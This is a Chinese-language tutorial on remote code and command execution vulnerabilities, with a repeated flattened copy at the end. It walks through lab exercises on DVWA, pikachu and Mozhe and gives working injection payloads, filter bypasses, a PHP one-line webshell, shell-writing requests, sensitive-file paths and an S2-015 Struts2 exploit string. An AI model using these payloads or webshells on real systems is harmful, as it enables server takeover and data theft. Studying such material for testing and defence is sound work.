RCE代码及命令执行
字数 1937 2025-08-10 22:27:04

远程代码执行(RCE)与命令执行漏洞详解

1. RCE漏洞概述

1.1 漏洞原理

RCE(Remote Code Execution)漏洞允许攻击者直接向后台服务器远程注入操作系统命令或代码,从而控制后台系统。

1.2 漏洞产生条件

  • 调用第三方组件存在的代码执行漏洞
  • 用户输入的内容作为系统命令的参数拼接到命令中
  • 对用户的输入过滤不严格
  • 存在可控变量或漏洞函数

1.3 漏洞挖掘方法

  • 网站存在输入IP、调用接口等功能点
  • 通常需要配合代码审计或获取源码
  • 黑盒测试可使用漏扫工具、公开漏洞信息或手工测试功能点

1.4 漏洞分类

1.4.1 命令执行漏洞

原理:应用系统需要给用户提供指定的远程命令操作接口(如Ping功能),若未严格检测,可能导致攻击者提交恶意命令控制服务器。

危险函数

  • PHP: exec, shell_exec, system, popen
  • ASP.NET: System.Diagnostics.Start.Process, System.Diagnostics.Start.ProcessStartInfo
  • Java: java.lang.runtime.Runtime.getRuntime, java.lang.runtime.Runtime.exec

1.4.2 代码执行漏洞

原理:根据设计需求需将用户输入的部分代码进行执行,若控制不严格导致远程代码执行漏洞。

危险函数

  • PHP: eval, assert, preg_replace(), +/e模式(PHP<5.5.0)
  • Javascript: eval
  • Vbscript: Execute, Eval
  • Python: exec

1.4.3 两者区别

  • 命令执行:调用操作系统命令
  • 代码执行:调用服务器网站代码

2. 命令执行漏洞详解

2.1 命令执行函数

2.1.1 system函数

<?php 
system('pwd');  // 执行结果输出并返回最后一行
?>

2.1.2 exec函数

<?php 
exec('pwd', $b);  // 不输出结果,返回最后一行
var_dump($b);
?>

2.1.3 passthru函数

<?php 
passthru('ls');  // 原样输出结果,无返回值
?>

2.1.4 shell_exec函数

<?php 
var_dump(shell_exec('ls'));  // 返回执行结果
?>

2.2 命令执行前置知识

2.2.1 Windows基础命令

ping       # 测试连通性
tracert    # 追踪路由
telnet     # 远程连接
dir        # 列出目录
ipconfig   # 查看IP
arp -a     # 查看路由表
calc       # 打开计算器
regedit    # 打开注册表
netstat -ano # 查看端口信息

2.2.2 Linux基础命令

cd        # 切换目录
ls        # 显示目录文件
ifconfig  # 查看IP
cat /etc/passwd # 查看用户信息
id        # 查看用户ID
pwd       # 显示当前目录
uname -a  # 查看系统版本
netstat -pantu # 查看端口信息

2.2.3 命令拼接符

  • |:只执行后面的语句
  • ||:前面命令失败则执行后面
  • &:前后命令都执行
  • &&:前面为真则执行两条命令
  • ;:前后都执行(类似&)

2.3 命令执行案例(DVWA靶场)

2.3.1 Low级别

未过滤输入,可直接使用拼接符:

127.0.0.1 | net user
127.0.0.1 && net user

2.3.2 Medium级别

过滤了&&;,可使用其他拼接符:

127.0.0.1 & net user

2.3.3 High级别

过滤| (带空格),可绕过:

127.0.0.1|net user  # 无空格

2.4 墨者靶场案例

  1. 判断操作系统(Ubuntu)
  2. 尝试命令执行失败后抓包修改
  3. 使用输入重定向读取文件:
cat < key_251322682818227.php

3. 代码执行漏洞详解

3.1 代码执行函数

3.1.1 ${}执行代码

<?php ${phpinfo()}; ?>

3.1.2 eval函数

<?php eval('echo "hello";'); ?>

3.1.3 assert函数

<?php 
// 低版本
assert($_POST['a']); 

// PHP7.0.29+
$a = 'assert';
$a(phpinfo()); 
?>

3.1.4 array_map函数

<?php 
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array); 
?>

Payload: ?a=assert&b=phpinfo();

3.2 代码执行案例(pikachu靶场)

输入PHP代码直接执行:

phpinfo();

3.3 代码执行漏洞利用

3.3.1 常用利用方式

  • ?txt=@eval($_POST['cmd']); # 一句话木马
  • ?txt=print(_FILE_); # 获取绝对路径
  • ?txt=var_dump(file_get_contents('c:\\windows\\system32\\drivers\\etc\\hosts')); # 读取文件
  • ?txt=var_dump(file_put_contents($_POST[1],$_POST[2])); # 写shell

3.3.2 PHP魔术常量

  • __LINE__:当前行号
  • __FILE__:完整路径和文件名
  • __DIR__:文件所在目录

3.3.3 读取敏感文件

Windows敏感文件

C:\boot.ini  # 系统版本
C:\windows\system32\inetsrv\MetaBase.xml  # IIS配置
C:\windows\repair\sam  # 初次安装密码

Linux敏感文件

/etc/passwd  # 用户信息
/etc/httpd/conf/httpd.conf  # Apache配置
/etc/my.cnf  # MySQL配置

3.3.4 一句话木马

<?php 
if(isset($_GET['a'])){
    eval($_GET['a']); 
}
?>

利用:?a=@eval($_POST['cmd']),使用蚁剑连接

3.3.5 写Shell

?a=var_dump(file_put_contents($_POST[1],$_POST[2]));

POST数据:1=info.php&2=<?php phpinfo();?>

3.3.6 墨者靶场(Struts2漏洞)

利用S2-015漏洞执行命令:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()),#q}.action

4. 防御措施

  1. 禁用敏感函数
  2. 对用户输入进行严格过滤
  3. 使用WAF产品防护
  4. 最小权限原则运行服务

5. 总结

RCE漏洞危害极大,开发时应避免直接执行用户输入,对危险函数进行严格限制。测试时需了解不同系统的命令差异和绕过技巧,同时掌握多种利用方式以便应对不同场景。

远程代码执行(RCE)与命令执行漏洞详解 1. RCE漏洞概述 1.1 漏洞原理 RCE(Remote Code Execution)漏洞允许攻击者直接向后台服务器远程注入操作系统命令或代码,从而控制后台系统。 1.2 漏洞产生条件 调用第三方组件存在的代码执行漏洞 用户输入的内容作为系统命令的参数拼接到命令中 对用户的输入过滤不严格 存在可控变量或漏洞函数 1.3 漏洞挖掘方法 网站存在输入IP、调用接口等功能点 通常需要配合代码审计或获取源码 黑盒测试可使用漏扫工具、公开漏洞信息或手工测试功能点 1.4 漏洞分类 1.4.1 命令执行漏洞 原理 :应用系统需要给用户提供指定的远程命令操作接口(如Ping功能),若未严格检测,可能导致攻击者提交恶意命令控制服务器。 危险函数 : PHP: exec , shell_exec , system , popen ASP.NET: System.Diagnostics.Start.Process , System.Diagnostics.Start.ProcessStartInfo Java: java.lang.runtime.Runtime.getRuntime , java.lang.runtime.Runtime.exec 1.4.2 代码执行漏洞 原理 :根据设计需求需将用户输入的部分代码进行执行,若控制不严格导致远程代码执行漏洞。 危险函数 : PHP: eval , assert , preg_replace() , +/e 模式(PHP <5.5.0) Javascript: eval Vbscript: Execute , Eval Python: exec 1.4.3 两者区别 命令执行:调用操作系统命令 代码执行:调用服务器网站代码 2. 命令执行漏洞详解 2.1 命令执行函数 2.1.1 system函数 2.1.2 exec函数 2.1.3 passthru函数 2.1.4 shell_ exec函数 2.2 命令执行前置知识 2.2.1 Windows基础命令 2.2.2 Linux基础命令 2.2.3 命令拼接符 | :只执行后面的语句 || :前面命令失败则执行后面 & :前后命令都执行 && :前面为真则执行两条命令 ; :前后都执行(类似&) 2.3 命令执行案例(DVWA靶场) 2.3.1 Low级别 未过滤输入,可直接使用拼接符: 2.3.2 Medium级别 过滤了 && 和 ; ,可使用其他拼接符: 2.3.3 High级别 过滤 | (带空格),可绕过: 2.4 墨者靶场案例 判断操作系统(Ubuntu) 尝试命令执行失败后抓包修改 使用输入重定向读取文件: 3. 代码执行漏洞详解 3.1 代码执行函数 3.1.1 ${}执行代码 3.1.2 eval函数 3.1.3 assert函数 3.1.4 array_ map函数 Payload: ?a=assert&b=phpinfo(); 3.2 代码执行案例(pikachu靶场) 输入PHP代码直接执行: 3.3 代码执行漏洞利用 3.3.1 常用利用方式 ?txt=@eval($_POST['cmd']); # 一句话木马 ?txt=print(_FILE_); # 获取绝对路径 ?txt=var_dump(file_get_contents('c:\\windows\\system32\\drivers\\etc\\hosts')); # 读取文件 ?txt=var_dump(file_put_contents($_POST[1],$_POST[2])); # 写shell 3.3.2 PHP魔术常量 __LINE__ :当前行号 __FILE__ :完整路径和文件名 __DIR__ :文件所在目录 3.3.3 读取敏感文件 Windows敏感文件 : Linux敏感文件 : 3.3.4 一句话木马 利用: ?a=@eval($_POST['cmd']) ,使用蚁剑连接 3.3.5 写Shell POST数据: 1=info.php&2=<?php phpinfo();?> 3.3.6 墨者靶场(Struts2漏洞) 利用S2-015漏洞执行命令: 4. 防御措施 禁用敏感函数 对用户输入进行严格过滤 使用WAF产品防护 最小权限原则运行服务 5. 总结 RCE漏洞危害极大,开发时应避免直接执行用户输入,对危险函数进行严格限制。测试时需了解不同系统的命令差异和绕过技巧,同时掌握多种利用方式以便应对不同场景。